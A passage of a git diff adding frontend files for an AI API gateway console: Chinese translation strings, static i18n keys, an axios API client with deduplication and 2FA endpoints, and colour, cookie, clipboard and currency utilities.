+    "When performance monitoring is enabled and system resource usage exceeds the set threshold, new Relay requests will be rejected.": "启用性能监控后，当系统资源使用率超过设定阈值时，将拒绝新的 Relay 请求。",
+    "When running in containers or ephemeral environments, ensure the SQLite file is mapped to persistent storage to avoid data loss on restart.": "在容器或临时环境中运行时，请确保 SQLite 文件映射到持久存储，以避免重启时数据丢失。",
+    "Whitelist": "白名单",
+    "Whitelist (Only allow listed domains)": "白名单（仅允许列出的域）",
+    "Whitelist (Only allow listed IPs)": "白名单（仅允许列出的 IP）",
+    "whsec_xxx": "whsec_xxx",
+    "Window:": "窗口：",
+    "with conflicts": "有冲突",
+    "Worker Access Key": "Worker 访问密钥",
+    "Worker Proxy": "Worker 代理",
+    "Worker URL": "Worker URL",
+    "Workspaces": "工作区",
+    "x": "x",
+    "xAI": "xAI",
+    "Xinference": "Xinference",
+    "Xunfei": "讯飞",
+    "years": "年",
+    "You are about to delete {{count}} API key(s).": "您即将删除 {{count}} 个 API 密钥。",
+    "You are running the latest version ({{version}}).": "您正在运行最新版本 ({{version}})。",
+    "You can close this tab once the binding completes or a success message appears in the original window.": "绑定完成后或原窗口出现成功消息后，您可以关闭此标签页。",
+    "You can manually add them in \"Custom Model Names\", click \"Fill\" and then submit, or use the operations below to handle automatically.": "你可以在\"自定义模型名称\"处手动添加它们，然后点击\"填入\"后再提交，或者直接使用下方操作自动处理。",
+    "You can only check in once per day": "每日仅可签到一次，请勿重复签到",
+    "You don't have necessary permission": "您没有必要的权限",
+    "You have unsaved changes": "您有未保存的更改",
+    "You have unsaved changes. Are you sure you want to leave?": "您有未保存的更改。确定要离开吗？",
+    "You Pay": "您支付",
+    "You save": "您节省",
+    "You will be redirected to Telegram to complete the binding process.": "您将被重定向到 Telegram 以完成绑定过程。",
+    "You'll be redirected automatically. You can return to the previous page if nothing happens after a few seconds.": "您将被自动重定向。如果几秒钟后无反应，您可以返回上一页。",
+    "your AI integration?": "你的 AI 集成了吗？",
+    "Your Azure OpenAI endpoint URL": "您的 Azure OpenAI 端点 URL",
+    "Your Bot Name": "您的机器人名称",
+    "Your Cloudflare Account ID": "您的 Cloudflare 账户 ID",
+    "Your Discord OAuth Client ID": "您的 Discord OAuth 客户端 ID",
+    "Your Discord OAuth Client Secret": "您的 Discord OAuth 客户端密钥",
+    "Your GitHub OAuth Client ID": "您的 GitHub OAuth 客户端 ID",
+    "Your GitHub OAuth Client Secret": "您的 GitHub OAuth 客户端密钥",
+    "Your new backup codes are ready": "您的新备份代码已准备就绪",
+    "Your Referral Link": "您的推荐链接",
+    "Your system access token for API authentication. Keep it secure and don't share it with others.": "您的系统访问令牌，用于 API 认证。请妥善保管，不要与他人分享。",
+    "Your Telegram Bot Token": "您的 Telegram 机器人令牌",
+    "Your Turnstile secret key": "您的 Turnstile 密钥",
+    "Your Turnstile site key": "您的 Turnstile 站点密钥",
+    "Zhipu": "智谱",
+    "Zhipu V4": "智谱 V4",
+    "Zoom": "缩放"
+  }
+}
diff --git a/new-api/web/default/src/i18n/static-keys.ts b/new-api/web/default/src/i18n/static-keys.ts
new file mode 100644
index 0000000..49172d7
--- /dev/null
+++ b/new-api/web/default/src/i18n/static-keys.ts
@@ -0,0 +1,472 @@
+// Static translation keys that don't get picked up by the t('...') regex.
+// These cover dynamic labels (e.g. constants, configs) that are passed into t at runtime.
+export const STATIC_I18N_KEYS = [
+  // Header navigation
+  'Home',
+  'Console',
+  'Pricing',
+  'Docs',
+  'About',
+
+  // Workspace
+  'System Settings',
+  'Manage and configure',
+
+  // System settings sidebar
+  'System Administration',
+  'General',
+  'Authentication',
+  'Request Limits',
+  'Content',
+  'Integrations',
+  'Models',
+  'Maintenance',
+
+  // Pricing constants
+  'Name',
+  'Price: Low to High',
+  'Price: High to Low',
+  'All Models',
+  'Token-based',
+  'Per Request',
+  'All Types',
+  'Chat',
+  'Response',
+  'Anthropic',
+  'Gemini',
+  'Rerank',
+  'Image',
+  'Embeddings',
+  'Video',
+  'Sort',
+  'All',
+  'All Vendors',
+  'All Groups',
+  'All Tags',
+  'More...',
+  'Less',
+
+  // Roles
+  'Super Admin',
+  'Admin',
+  'User',
+  'Guest',
+
+  // API Keys
+  'Enabled',
+  'Disabled',
+  'Expired',
+  'Exhausted',
+  'API Key created successfully',
+  'API Key updated successfully',
+  'API Key deleted successfully',
+  'API Key enabled successfully',
+  'API Key disabled successfully',
+  'Failed to load API keys',
+  'Failed to search API keys',
+  'Failed to create API key',
+  'Failed to update API key',
+  'Failed to delete API key',
+  'Failed to delete API keys',
+  'Failed to update API key status',
+  'Successfully created {{count}} API Key(s)',
+  'Successfully deleted {{count}} API key(s)',
+
+  // Users
+  'Root',
+  'Deleted',
+  'User created successfully',
+  'User updated successfully',
+  'User updated successfully',
+  'Failed to load users',
+  'Failed to search users',
+  'Failed to create user',
+  'Failed to update user',
+  'Failed to delete user',
+  'No user selected',
+
+  // Redemption codes
+  'Unused',
+  'Disabled',
+  'Used',
+  'Expired',
+  'Redemption code(s) created successfully',
+  'Redemption code updated successfully',
+  'Redemption code deleted successfully',
+  'Redemption code enabled successfully',
+  'Redemption code disabled successfully',
+  'Copied to clipboard',
+  'An unexpected error occurred',
+  'Failed to load redemption codes',
+  'Failed to search redemption codes',
+  'Failed to create redemption code',
+  'Failed to update redemption code',
+  'Failed to delete redemption code',
+  'Failed to delete invalid redemption codes',
+  'Failed to update redemption code status',
+  'Name must be between {{min}} and {{max}} characters',
+  'Count must be between {{min}} and {{max}}',
+  'Expired time cannot be earlier than current time',
+  'Quota must be a positive number',
+  'Successfully created {{count}} redemption codes',
+
+  // Home page (constants-driven labels)
+  'Cost Tracking',
+  'Model Access',
+  'Guardrails',
+  'Observability',
+  'Budgets',
+  'Load Balancing',
+  'Rate Limiting',
+  'Token Mgmt',
+  'Prompt Caching',
+  'Pass-Through',
+  'requests served',
+  'AI models supported',
+  'uptime',
+  'active users',
+  'Lightning Fast',
+  'Optimized network architecture ensures millisecond response times',
+  'Secure & Reliable',
+  'Enterprise-grade security with comprehensive permission management',
+  'Global Coverage',
+  'Multi-region deployment for stable global access',
+  'Developer Friendly',
+  'Complete API documentation with multi-language SDK support',
+  'High Performance',
+  'Support for high concurrency with automatic load balancing',
+  'Transparent Billing',
+  'Pay-as-you-go with real-time usage monitoring',
+  'Team Collaboration',
+  'Multi-user management with flexible permission allocation',
+  'Technical Support',
+  'Professional team providing 24/7 technical support',
+
+  // User management (interpolated keys)
+  'Remaining Quota ({{currency}})',
+  'Enter quota in tokens',
+  'Enter quota in {{currency}}',
+
+  // Setup wizard — steps
+  'Database check',
+  'Verify your database connection',
+  'Create credentials for the root user',
+  'Choose how the platform will operate',
+  'Review & initialize',
+  'Confirm settings and finish setup',
+
+  // Setup wizard — database step
+  'SQLite stores all data in a single file. Make sure that file is persisted when running in containers.',
+  'MySQL is a production-ready relational database. Keep your credentials secure.',
+  'PostgreSQL offers advanced reliability and data integrity for production workloads.',
+  'Custom database driver detected.',
+  'The setup wizard will use this database during initialization.',
+
+  // Setup wizard — usage mode step
+  'External operations',
+  'Serve multiple users or teams with billing and quota control.',
+  'Personal use',
+  'Best for single-tenant deployments. Pricing and billing options stay hidden.',
+  'Demo site',
+  'Showcase core capabilities with demo credentials and limited access.',
+
+  // Setup wizard — complete step
+  'External operations mode',
+  'Personal use mode',
+  'Demo site mode',
+  'Existing account will be reused',
+  'Not set yet',
+
+  // Models section-registry nav (dynamic titleKey)
+  'Grok',
+
+  // Channel Affinity section
+  'Channel Affinity',
+  'Configure channel affinity (sticky routing) rules',
+
+  // Models constants
+  'Exact Match',
+  'Prefix Match',
+  'Contains Match',
+  'Suffix Match',
+  'Exact',
+  'Prefix',
+  'Contains',
+  'Suffix',
+  'Match model name exactly',
+  'Match models starting with this name',
+  'Match models containing this name',
+  'Match models ending with this name',
+  'All Status',
+  'All Sync Status',
+  'Official Sync',
+  'No Sync',
+  'Usage-based',
+  'Per-call',
+  'Chinese',
+  'English',
+  'Japanese',
+  'Official Repository',
+  'Configuration File',
+  'Sync from the public upstream metadata repository.',
+  'Upload or reference a local configuration file.',
+
+  // Subscription constants (dynamic labelKey)
+  'years',
+  'months',
+  'days',
+  'hours',
+  'seconds',
+  'minutes',
+  'Custom (seconds)',
+  'No Reset',
+  'Daily',
+  'Weekly',
+  'Monthly',
+
+  // CC Switch dialog
+  'Import to CC Switch',
+  'Open CC Switch',
+  'Primary Model',
+  'Haiku Model',
+  'Sonnet Model',
+  'Opus Model',
+  'Enter model name',
+
+  // User binding dialog
+  'Account Binding Management',
+  'Built-in',
+  'Confirm Unbind',
+  'Unbind',
+  'Unbind failed',
+  'This user has no bindings',
+
+  // Subscription plans
+  'Subscription Plans',
+  'Subscribe Now',
+  'Purchase Subscription',
+  'My Subscriptions',
+  'Plan Name',
+  'Validity Period',
+  'Reset Period',
+  'Quota Reset',
+  'Raw Quota',
+  'Amount Due',
+  'Purchase Limit',
+  'Purchase limit reached',
+  'Limit Reached',
+  'No plans available',
+  'Select payment method',
+  'Wallet First',
+  'Wallet Only',
+  'Subscription First',
+  'Subscription Only',
+  'No Active',
+  'No Reset',
+  'Remaining',
+  'Received',
+  'Payment initiated',
+  'Payment page opened',
+
+  // Upstream model updates
+  'Upstream Model Updates',
+  'Sync Fields',
+  'Add Models',
+  'Remove Models',
+  'Select All Visible',
+  'Partial Submission',
+  'No models to add',
+  'No models to remove',
+
+  // Header manipulation
+  'Pass Headers',
+  'Set Header',
+  'Copy Header',
+  'Delete Header',
+  'Move Header',
+  'Prepend',
+  'Append',
+  'Ensure Prefix',
+  'Ensure Suffix',
+  'Trim Prefix',
+  'Trim Suffix',
+  'Trim Space',
+  'To Upper',
+  'To Lower',
+  'Regex Replace',
+  'Return Error',
+  'Param Override',
+
+  // Profile / 2FA
+  'Backed up',
+  'Not backed up',
+  'No backup',
+  'Generate New Codes',
+  'Audio Preview',
+
+  // Status-code risk dialog
+  'High-risk status code retry risk check 1',
+  'High-risk status code retry risk check 2',
+  'High-risk status code retry risk check 3',
+  'High-risk status code retry risk check 4',
+  'High-risk operation confirmation',
+  'High-risk status code retry risk disclaimer',
+  'Detected high-risk status code redirect rules',
+  'Action confirmation',
+  'High-risk status code retry confirmation text',
+  'High-risk status code retry input placeholder',
+  'High-risk status code retry input mismatch',
+  'I confirm enabling high-risk retry',
+
+  // Subscription management
+  'Subscription Management',
+  'Manage subscription plan creation, pricing and status',
+  'Stripe/Creem requires creating products on the third-party platform and entering the ID',
+  'Create Plan',
+  'Active',
+  'Invalidated',
+  'Plan',
+  'Price',
+  'Priority',
+  'Payment Channel',
+  'No Upgrade',
+  'Unlimited',
+  'Update plan info',
+  'Create new subscription plan',
+  'Modify existing subscription plan configuration',
+  'Fill in the following info to create a new subscription plan',
+  'Basic Info',
+  'Plan Title',
+  'e.g. Basic Plan',
+  'Plan Subtitle',
+  'e.g. Suitable for light usage',
+  'Actual Amount',
+  'Total Quota',
+  '0 means unlimited',
+  'Sort Order',
+  'Enabled Status',
+  'Duration Settings',
+  'Duration Unit',
+  'Custom Seconds',
+  'Duration Value',
+  'Third-party Payment Config',
+  'Submitting...',
+  'Submit',
+  'Update succeeded',
+  'Create succeeded',
+  'Request failed',
+  'Please enter plan title',
+  'Please enter amount',
+  'No subscription plans yet',
+  'Click "Create Plan" to create your first subscription plan',
+  'Confirm disable',
+  'Confirm enable',
+  'After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?',
+  'After enabling, the plan will be shown to users. Continue?',
+  'Has been disabled',
+  'Has been enabled',
+  'Operation failed',
+  'Edit',
+  'Disable',
+  'Enable',
+
+  // User subscription management
+  'User Subscription Management',
+  'Select subscription plan',
+  'Add subscription',
+  'Loading...',
+  'No subscription records',
+  'Source',
+  'Start',
+  'End',
+  'Invalidate',
+  'Delete',
+  'Confirm invalidate',
+  'Confirm delete',
+  'After invalidating, this subscription will be immediately deactivated. Historical records are not affected. Continue?',
+  'Deleting will permanently remove this subscription record (including benefit details). Continue?',
+  'Loading failed',
+  'Please select a subscription plan',
+  'Added successfully',
+  'Has been invalidated',
+  'Deleted',
+  'Validity',
+  'Actions',
+
+  // Sidebar modules
+  'Chat Area',
+  'Playground and chat functions',
+  'Playground',
+  'AI model testing environment',
+  'Chat session management',
+  'Console Area',
+  'Data management and log viewing',
+  'Dashboard',
+  'System data statistics',
+  'Token Management',
+  'API token management',
+  'Usage Logs',
+  'API usage records',
+  'Drawing Logs',
+  'Drawing task records',
+  'Task Logs',
+  'System task records',
+  'Personal Center Area',
+  'User personal functions',
+  'Wallet Management',
+  'Balance and top-up management',
+  'Personal Settings',
+  'Personal info settings',
+  'Saved successfully',
+  'Save failed',
+  'Save failed, please retry',
+  'Reset to default configuration',
+  'Sidebar Personal Settings',
+  'Customize sidebar display content',
+  'Reset to Default',
+
+  // Available models
+  'Available Models',
+  'View all currently available models',
+  'No available models',
+  'models',
+  'More',
+  'Collapse',
+  'No models available in this category',
+  'Copied: {{model}}',
+
+  // Grok settings
+  'Grok Settings',
+  'Configure xAI Grok model specific settings',
+  'Enable violation deduction',
+  'When enabled, violation requests will incur additional charges.',
+  'Official documentation',
+  'Violation deduction amount',
+  'Base amount. Actual deduction = base amount × system group rate.',
+
+  // Chat2Link
+  'No available Web chat links',
+  'No enabled tokens available',
+  'Redirecting to chat page...',
+
+  // Channel upstream updates
+  'No processable upstream model updates for this channel',
+  'Upstream model updates applied: {{added}} added, {{removed}} removed, {{ignored}} ignored this time, {{totalIgnored}} total ignored models',
+  'Batch processing failed',
+  'Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed',
+  'Detection failed',
+  'Detection complete: {{add}} to add, {{remove}} to remove',
+  'Batch detection failed',
+  'Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed',
+
+  // Misc
+  'Cancel',
+  'Status',
+  'Upgrade Group',
+  'Regenerate',
+  'Untitled',
+  'Open in new tab',
+  'Failed to load',
+  'Expired at',
+  'Cancelled at',
+] as const
diff --git a/new-api/web/default/src/lib/api.ts b/new-api/web/default/src/lib/api.ts
new file mode 100644
index 0000000..3abb994
--- /dev/null
+++ b/new-api/web/default/src/lib/api.ts
@@ -0,0 +1,236 @@
+import axios from 'axios'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { useAuthStore } from '@/stores/auth-store'
+
+// ============================================================================
+// Axios Instance Configuration
+// ============================================================================
+
+// Base URL: empty string for same-origin API requests
+const baseURL = ''
+
+// Create axios instance with default config
+export const api = axios.create({
+  baseURL,
+  withCredentials: true, // Include cookies in cross-origin requests
+  headers: {
+    'Cache-Control': 'no-store', // Prevent caching
+  },
+})
+
+// ============================================================================
+// Request Deduplication
+// ============================================================================
+
+// Deduplicate concurrent GET requests to the same URL
+// Prevents multiple identical requests from being sent simultaneously
+const inFlightGet = new Map<string, Promise<unknown>>()
+const originalGet = api.get.bind(api)
+
+api.get = ((url: string, config = {}) => {
+  const disableDuplicate = (config as unknown as Record<string, unknown>)
+    ?.disableDuplicate
+  if (disableDuplicate) return originalGet(url, config)
+
+  const params = (config as unknown as Record<string, unknown>)?.params
+    ? JSON.stringify((config as unknown as Record<string, unknown>).params)
+    : '{}'
+  const key = `${url}?${params}`
+
+  // Return existing in-flight request if available
+  if (inFlightGet.has(key)) return inFlightGet.get(key)!
+
+  // Create new request and clean up after completion
+  const req = originalGet(url, config).finally(() => inFlightGet.delete(key))
+  inFlightGet.set(key, req)
+  return req
+}) as typeof api.get
+
+// ============================================================================
+// Response Interceptor
+// ============================================================================
+
+// Handle business logic errors and HTTP errors globally
+api.interceptors.response.use(
+  (response) => {
+    const skipBusiness = (response.config as unknown as Record<string, unknown>)
+      ?.skipBusinessError
+
+    // Unified business response format: { success, message, data }
+    if (
+      !skipBusiness &&
+      response &&
+      response.data &&
+      typeof response.data.success === 'boolean'
+    ) {
+      if (!response.data.success) {
+        // Show error toast for business failures
+        const msg = response.data.message || 'Request failed'
+        toast.error(msg)
+      }
+    }
+    return response
+  },
+  (error) => {
+    const skip = error?.config?.skipErrorHandler
+    if (!skip) {
+      const status = error?.response?.status
+
+      if (status === 401) {
+        // Unauthorized: clear auth state and show toast
+        toast.error(i18next.t('Session expired!'))
+        try {
+          useAuthStore.getState().auth.reset()
+        } catch {
+          /* empty */
+        }
+      } else {
+        // Other errors: show error message from response or default
+        const msg =
+          error?.response?.data?.message || error?.message || 'Request error'
+        toast.error(msg)
+      }
+    }
+    return Promise.reject(error)
+  }
+)
+
+// ============================================================================
+// Common Headers Utility
+// ============================================================================
+
+/**
+ * Get user ID from localStorage
+ */
+function getUserId(): string | null {
+  try {
+    if (typeof window !== 'undefined') {
+      return window.localStorage.getItem('uid')
+    }
+  } catch {
+    /* empty */
+  }
+  return null
+}
+
+/**
+ * Get common request headers (for both axios and SSE requests)
+ */
+export function getCommonHeaders(): Record<string, string> {
+  const headers: Record<string, string> = {
+    'Content-Type': 'application/json',
+  }
+
+  const uid = getUserId()
+  if (uid) {
+    headers['New-Api-User'] = uid
+  }
+
+  return headers
+}
+
+// ============================================================================
+// Request Interceptor
+// ============================================================================
+
+// Attach user ID header for all requests
+api.interceptors.request.use((config) => {
+  const uid = getUserId()
+  if (uid) {
+    // Custom header for user identification
+    ;(config.headers as Record<string, string>)['New-Api-User'] = uid
+  }
+  return config
+})
+
+// ============================================================================
+// Common API Functions
+// ============================================================================
+
+// ----------------------------------------------------------------------------
+// User APIs
+// ----------------------------------------------------------------------------
+
+// Get current user info
+export async function getSelf() {
+  const res = await api.get('/api/user/self', {
+    // Avoid global 401 toast during guards/preloads
+    skipErrorHandler: true,
+  } as Record<string, unknown>)
+  return res.data
+}
+
+// Get user available models
+export async function getUserModels(): Promise<{
+  success: boolean
+  message?: string
+  data?: string[]
+}> {
+  const res = await api.get('/api/user/models')
+  return res.data
+}
+
+// Get user groups with descriptions and ratios
+export async function getUserGroups(): Promise<{
+  success: boolean
+  message?: string
+  data?: Record<string, { desc: string; ratio: number | string }>
+}> {
+  const res = await api.get('/api/user/self/groups')
+  return res.data
+}
+
+// ----------------------------------------------------------------------------
+// System APIs
+// ----------------------------------------------------------------------------
+
+// Get system status
+export async function getStatus() {
+  const res = await api.get('/api/status')
+  return res.data?.data as Record<string, unknown>
+}
+
+// Get system notice
+export async function getNotice(): Promise<{
+  success: boolean
+  message?: string
+  data?: string
+}> {
+  const res = await api.get('/api/notice')
+  return res.data
+}
+
+// ----------------------------------------------------------------------------
+// 2FA Management APIs
+// ----------------------------------------------------------------------------
+
+// Get 2FA status
+export async function get2FAStatus() {
+  const res = await api.get('/api/user/2fa/status')
+  return res.data
+}
+
+// Setup 2FA
+export async function setup2FA() {
+  const res = await api.post('/api/user/2fa/setup')
+  return res.data
+}
+
+// Enable 2FA with verification code
+export async function enable2FA(code: string) {
+  const res = await api.post('/api/user/2fa/enable', { code })
+  return res.data
+}
+
+// Disable 2FA with verification code
+export async function disable2FA(code: string) {
+  const res = await api.post('/api/user/2fa/disable', { code })
+  return res.data
+}
+
+// Regenerate 2FA backup codes
+export async function regenerate2FABackupCodes(code: string) {
+  const res = await api.post('/api/user/2fa/backup_codes', { code })
+  return res.data
+}
diff --git a/new-api/web/default/src/lib/colors.ts b/new-api/web/default/src/lib/colors.ts
new file mode 100644
index 0000000..9be26f0
--- /dev/null
+++ b/new-api/web/default/src/lib/colors.ts
@@ -0,0 +1,164 @@
+export type SemanticColor =
+  | 'blue'
+  | 'green'
+  | 'cyan'
+  | 'purple'
+  | 'pink'
+  | 'red'
+  | 'orange'
+  | 'amber'
+  | 'yellow'
+  | 'lime'
+  | 'light-green'
+  | 'teal'
+  | 'light-blue'
+  | 'indigo'
+  | 'violet'
+  | 'grey'
+
+export const colorToBgClass: Record<SemanticColor, string> = {
+  blue: 'bg-blue-500',
+  green: 'bg-green-500',
+  cyan: 'bg-cyan-500',
+  purple: 'bg-purple-500',
+  pink: 'bg-pink-500',
+  red: 'bg-red-500',
+  orange: 'bg-orange-500',
+  amber: 'bg-amber-500',
+  yellow: 'bg-yellow-500',
+  lime: 'bg-lime-500',
+  'light-green': 'bg-green-400',
+  teal: 'bg-teal-500',
+  'light-blue': 'bg-sky-500',
+  indigo: 'bg-indigo-500',
+  violet: 'bg-violet-500',
+  grey: 'bg-gray-500',
+}
+
+export const avatarColorMap: Record<SemanticColor, string> = {
+  blue: 'bg-blue-100 text-blue-700 dark:bg-blue-500/20 dark:text-blue-400',
+  green: 'bg-green-100 text-green-700 dark:bg-green-500/20 dark:text-green-400',
+  cyan: 'bg-cyan-100 text-cyan-700 dark:bg-cyan-500/20 dark:text-cyan-400',
+  purple: 'bg-purple-100 text-purple-700 dark:bg-purple-500/20 dark:text-purple-400',
+  pink: 'bg-pink-100 text-pink-700 dark:bg-pink-500/20 dark:text-pink-400',
+  red: 'bg-red-100 text-red-700 dark:bg-red-500/20 dark:text-red-400',
+  orange: 'bg-orange-100 text-orange-700 dark:bg-orange-500/20 dark:text-orange-400',
+  amber: 'bg-amber-100 text-amber-700 dark:bg-amber-500/20 dark:text-amber-400',
+  yellow: 'bg-yellow-100 text-yellow-700 dark:bg-yellow-500/20 dark:text-yellow-400',
+  lime: 'bg-lime-100 text-lime-700 dark:bg-lime-500/20 dark:text-lime-400',
+  'light-green': 'bg-green-50 text-green-600 dark:bg-green-400/20 dark:text-green-300',
+  teal: 'bg-teal-100 text-teal-700 dark:bg-teal-500/20 dark:text-teal-400',
+  'light-blue': 'bg-sky-100 text-sky-700 dark:bg-sky-500/20 dark:text-sky-400',
+  indigo: 'bg-indigo-100 text-indigo-700 dark:bg-indigo-500/20 dark:text-indigo-400',
+  violet: 'bg-violet-100 text-violet-700 dark:bg-violet-500/20 dark:text-violet-400',
+  grey: 'bg-gray-100 text-gray-700 dark:bg-gray-500/20 dark:text-gray-400',
+}
+
+export function getAvatarColorClass(name: string): string {
+  return avatarColorMap[stringToColor(name)]
+}
+
+export function getBgColorClass(color?: string): string {
+  if (!color) return colorToBgClass.blue
+  return (
+    (colorToBgClass as Record<string, string>)[color] || colorToBgClass.blue
+  )
+}
+
+/**
+ * Chart color palette - Modern gradient colors compatible with light/dark themes
+ * Uses HSL format for better theme adaptation
+ */
+export const CHART_COLORS = [
+  'hsl(217, 91%, 60%)', // blue
+  'hsl(142, 76%, 36%)', // green
+  'hsl(38, 92%, 50%)', // amber
+  'hsl(258, 90%, 66%)', // violet
+  'hsl(330, 81%, 60%)', // pink
+  'hsl(189, 94%, 43%)', // cyan
+  'hsl(25, 95%, 53%)', // orange
+  'hsl(239, 84%, 67%)', // indigo
+  'hsl(173, 80%, 40%)', // teal
+  'hsl(271, 91%, 65%)', // purple
+  'hsl(199, 89%, 48%)', // sky
+  'hsl(280, 65%, 60%)', // fuchsia
+] as const
+
+/**
+ * Get a chart color by index (cycles through the palette)
+ */
+export function getChartColor(index: number): string {
+  return CHART_COLORS[index % CHART_COLORS.length]
+}
+
+/**
+ * Announcement status types
+ */
+export type AnnouncementType =
+  | 'default'
+  | 'ongoing'
+  | 'success'
+  | 'warning'
+  | 'error'
+
+/**
+ * Announcement status color mapping
+ */
+export const ANNOUNCEMENT_TYPE_COLORS: Record<AnnouncementType, string> = {
+  default: 'bg-gray-500',
+  ongoing: 'bg-blue-500',
+  success: 'bg-green-500',
+  warning: 'bg-orange-500',
+  error: 'bg-red-500',
+}
+
+/**
+ * Get announcement status color class
+ */
+export function getAnnouncementColorClass(type?: string): string {
+  const validType = (type || 'default') as AnnouncementType
+  return ANNOUNCEMENT_TYPE_COLORS[validType] || ANNOUNCEMENT_TYPE_COLORS.default
+}
+
+/**
+ * Semantic colors for tags and badges
+ */
+const TAG_COLORS = [
+  'amber',
+  'blue',
+  'cyan',
+  'green',
+  'grey',
+  'indigo',
+  'light-blue',
+  'lime',
+  'orange',
+  'pink',
+  'purple',
+  'red',
+  'teal',
+  'violet',
+  'yellow',
+] as const
+
+/**
+ * Convert string to a stable semantic color
+ * Used for model tags, group badges, user avatars, etc.
+ * Same string always returns the same color
+ *
+ * @param str - Input string (model name, group name, username, etc.)
+ * @returns Semantic color name from TAG_COLORS
+ *
+ * @example
+ * stringToColor('gpt-4') // 'blue'
+ * stringToColor('claude-3') // 'purple'
+ * stringToColor('default') // 'green'
+ */
+export function stringToColor(str: string): SemanticColor {
+  let sum = 0
+  for (let i = 0; i < str.length; i++) {
+    sum += str.charCodeAt(i)
+  }
+  const index = sum % TAG_COLORS.length
+  return TAG_COLORS[index]
+}
diff --git a/new-api/web/default/src/lib/constants.ts b/new-api/web/default/src/lib/constants.ts
new file mode 100644
index 0000000..bd001e0
--- /dev/null
+++ b/new-api/web/default/src/lib/constants.ts
@@ -0,0 +1,14 @@
+/**
+ * Application-wide constants
+ */
+
+// System Configuration Defaults
+export const DEFAULT_SYSTEM_NAME = 'New API'
+export const DEFAULT_LOGO = '/logo.png'
+
+// LocalStorage Keys
+export const STORAGE_KEYS = {
+  SYSTEM_NAME: 'system_name',
+  LOGO: 'logo',
+  FOOTER_HTML: 'footer_html',
+} as const
diff --git a/new-api/web/default/src/lib/cookies.ts b/new-api/web/default/src/lib/cookies.ts
new file mode 100644
index 0000000..c350079
--- /dev/null
+++ b/new-api/web/default/src/lib/cookies.ts
@@ -0,0 +1,43 @@
+/**
+ * Cookie utility functions using manual document.cookie approach
+ * Replaces js-cookie dependency for better consistency
+ */
+
+const DEFAULT_MAX_AGE = 60 * 60 * 24 * 7 // 7 days
+
+/**
+ * Get a cookie value by name
+ */
+export function getCookie(name: string): string | undefined {
+  if (typeof document === 'undefined') return undefined
+
+  const value = `; ${document.cookie}`
+  const parts = value.split(`; ${name}=`)
+  if (parts.length === 2) {
+    const cookieValue = parts.pop()?.split(';').shift()
+    return cookieValue
+  }
+  return undefined
+}
+
+/**
+ * Set a cookie with name, value, and optional max age
+ */
+export function setCookie(
+  name: string,
+  value: string,
+  maxAge: number = DEFAULT_MAX_AGE
+): void {
+  if (typeof document === 'undefined') return
+
+  document.cookie = `${name}=${value}; path=/; max-age=${maxAge}`
+}
+
+/**
+ * Remove a cookie by setting its max age to 0
+ */
+export function removeCookie(name: string): void {
+  if (typeof document === 'undefined') return
+
+  document.cookie = `${name}=; path=/; max-age=0`
+}
diff --git a/new-api/web/default/src/lib/copy-to-clipboard.ts b/new-api/web/default/src/lib/copy-to-clipboard.ts
new file mode 100644
index 0000000..649676a
--- /dev/null
+++ b/new-api/web/default/src/lib/copy-to-clipboard.ts
@@ -0,0 +1,85 @@
+/**
+ * Fallback copy method using document.execCommand (works in HTTP)
+ */
+function fallbackCopyToClipboard(text: string): boolean {
+  const textArea = document.createElement('textarea')
+  textArea.value = text
+
+  // Make the textarea out of viewport
+  textArea.style.position = 'fixed'
+  textArea.style.left = '-999999px'
+  textArea.style.top = '-999999px'
+  textArea.style.opacity = '0'
+  textArea.setAttribute('readonly', '')
+
+  document.body.appendChild(textArea)
+
+  try {
+    // Select the text
+    textArea.focus()
+    textArea.select()
+
+    // For iOS devices
+    const range = document.createRange()
+    range.selectNodeContents(textArea)
+    const selection = window.getSelection()
+    if (selection) {
+      selection.removeAllRanges()
+      selection.addRange(range)
+    }
+    textArea.setSelectionRange(0, text.length)
+
+    // Execute copy command
+    const successful = document.execCommand('copy')
+    document.body.removeChild(textArea)
+    // Clear selection ranges for better UX
+    const selectionAfter = window.getSelection()
+    if (selectionAfter) {
+      selectionAfter.removeAllRanges()
+    }
+
+    return successful
+  } catch (err) {
+    // eslint-disable-next-line no-console
+    console.error('Fallback copy failed:', err)
+    document.body.removeChild(textArea)
+    return false
+  }
+}
+
+/**
+ * Copy text to clipboard with fallback support for HTTP environments
+ *
+ * @param text - The text to copy
+ * @returns Promise that resolves to true if successful, false otherwise
+ *
+ * @example
+ * ```ts
+ * const success = await copyToClipboard('Hello, World!')
+ * if (success) {
+ *   console.log('Copied successfully')
+ * }
+ * ```
+ */
+export async function copyToClipboard(text: string): Promise<boolean> {
+  // Guard for SSR / non-browser environments
+  if (typeof window === 'undefined' || typeof document === 'undefined') {
+    return false
+  }
+
+  // Try modern clipboard API first (HTTPS required)
+  if (navigator?.clipboard?.writeText) {
+    try {
+      await navigator.clipboard.writeText(text)
+      return true
+    } catch (error) {
+      // eslint-disable-next-line no-console
+      console.warn('Clipboard API failed, trying fallback method:', error)
+      // Try fallback method
+      return fallbackCopyToClipboard(text)
+    }
+  } else {
+    // Use fallback method directly
+    return fallbackCopyToClipboard(text)
+  }
+}
diff --git a/new-api/web/default/src/lib/currency.ts b/new-api/web/default/src/lib/currency.ts
new file mode 100644
index 0000000..8f0a1a7
--- /dev/null
+++ b/new-api/web/default/src/lib/currency.ts
@@ -0,0 +1,555 @@
+/**
+ * ============================================================================
+ * Currency Formatting Library
+ * ============================================================================
+ *
+ * This module provides currency formatting utilities that handle the conversion
+ * between system USD amounts, local currency, and token displays based on
+ * admin-configured settings.
+ *
+ * ## Key Concepts
+ *
+ * 1. **System USD**: Internal currency unit used throughout the system (e.g., 10 USD)
+ * 2. **Local Currency**: Admin-configured display currency (e.g., CNY, custom currency)
+ * 3. **Exchange Rate (usdExchangeRate)**: Conversion rate from USD to local currency
+ *    - Example: usdExchangeRate = 7 means 1 USD = 7 CNY
+ * 4. **Recharge Price (priceRatio)**: Cost in local currency to purchase 1 system USD
+ *    - Example: priceRatio = 5 means user pays 5 CNY to get 1 USD credit
+ * 5. **Tokens**: Alternative display unit (e.g., 500,000 tokens = 1 USD)
+ *
+ * ## When to Use Each Function
+ *
+ * - `formatCurrencyFromUSD()`: Use for quota/balance display (stored as USD, converted for display)
+ * - `formatBillingCurrencyFromUSD()`: Use for billing/pricing displays (never shows tokens)
